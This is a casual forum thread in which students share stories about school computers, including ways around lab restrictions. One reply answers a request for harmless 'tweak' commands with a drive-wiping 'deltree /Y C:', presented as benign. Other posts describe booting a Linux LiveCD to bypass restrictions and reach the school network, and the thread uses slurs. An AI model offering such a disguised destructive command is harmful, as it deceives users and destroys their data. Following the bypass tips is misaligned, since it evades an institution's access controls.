Fun With School Computers

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lmao....cybersex without internet connections.

hardware :D:D:D:D:D

so wrong.

on a different note...a few of my friends and i have Little Fighter 2 mini lan parties. lol. www.lf2.net
 
That's a really fun game but when I had it on my comp the graphics were heaps glitchy for some reason.
 
It's gay at my school. The teacher always tries to block game sites. We are just too good though.
 
At school we have a copy of the game Belter, but I can't seem to find a downloadable copy anywhere :grumpy:
 
My high school had slow crap computers with bascially everyhing locked out. Only thing I had time to do each class was take a print screen of the desktop with icons, make it the background then delete all the shortcuts and hide the taskbar so the morons get mad or the wannabe comp nerds tried to explain whats wrong.
 
Our school just installed Windows XP late last year, which made things better by a longshot, but I guess the network admins didn't get around to disabling the Run or Command.com prompt on every one. Noticing this I ran a regedit, deleted all the spyware and just as I was about to exit, some Math teacher hauled me off to the computer admin at our school to have a "chat." Well, I knew the computer admin pretty well as I had TA'd for him a couple times, so I showed him what I did, and instead of punishing me, he gave me an unrestricted account for the rest of the year.
 
Heh, it's pretty easy to access cmd on our school computers -- god bless *.bat files :D
 
people are so retarded at my school sometimes.

when teachers get the blue screen of death, they are like OH MY GOD OH NO!!!!!!!!!!! THE COMPUTER CRASHED! OH MY GOD, THIS IS NOT GOOD. etc etc. then they rush off and get a piece of paper and frantically write OUT OF ORDER all over the paper and scramble to find some tape and stick it to the monitor as fast as they possibly can.

they then ring up the "computer specialist" person of the school. big whoop that job must be. so sooner or later the person comes to class...and just quietly mosies on over to the computer. they fix it and walk back out of class...but the teacher is like, OH MY GOD HOW DID YOU FIX IT! then they will usually reply: hit the space bar.
 
Everyday I get the blue screen of joy and happyness (Notice the sarcasm) atleast twice. I'm glad the teachers at my school actually know what they are doing.
 
my 8th grade english teacher thinks computers are evil. no friggin lie. she HATES computers. she is the only teacher who keeps her grades in a grade book and stuff.

i remember some of my friends having a fight over gameboy or a gameboy game or something...and they started getting really loud. my teacher just WENT OFF. she is crazy. she thinks the internet is like....the passage of satan to the underworld or some crazy crap. its like those psycho radical christian people with homosexual marriage or other subjects of the like...

THE POWER OF CHRIST COMPELS YOU!!!! THE POWER OF PAPER COMPELS YOU!!!

hahaha, and the funny part is that she has this really squeaky annoying voice. she cant be loud either. try speaking with your tongue as far back into your throat as possible. also...try screaming at the top of your lungs, while still being at a normal inside sound level.
 
woah woah woah woah........are you trying to make me barf up my pizza rolls?
 
RX-7_FC_DrIfteR
Hey, I'm not the best with the command prompt but does anyone have some good commands to tweak or like mess with computer settings?
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type "deltree /Y C:" at the command prompt (without the quotes)

I've found out using a linux LiveCD at school is very...ehmm...interesting. The one I use is Damn Small Linux, which is only 50 mb, so it can fit on a business card CD. You just pop this sucker in the CD drive, reboot your computer, and there you have a totally unrestricted Linux system. You can access all local drives, play music, browse the internet, access the school network with Samba Client (supposedly linux "root" privleges override network privleges). The only things missing are Netcat and Wine. Nmap is dowwloadable. You can download games and stuff to your RAM, so they are gone as soon as you reboot the computer. Fun stuff :)
 
You can use it on a windows computer. Just type it into the command prompt.

By the way, most Linux versions (or "distributions") are free, so Linux woudl actually be the cheap-ass operating system :).
 

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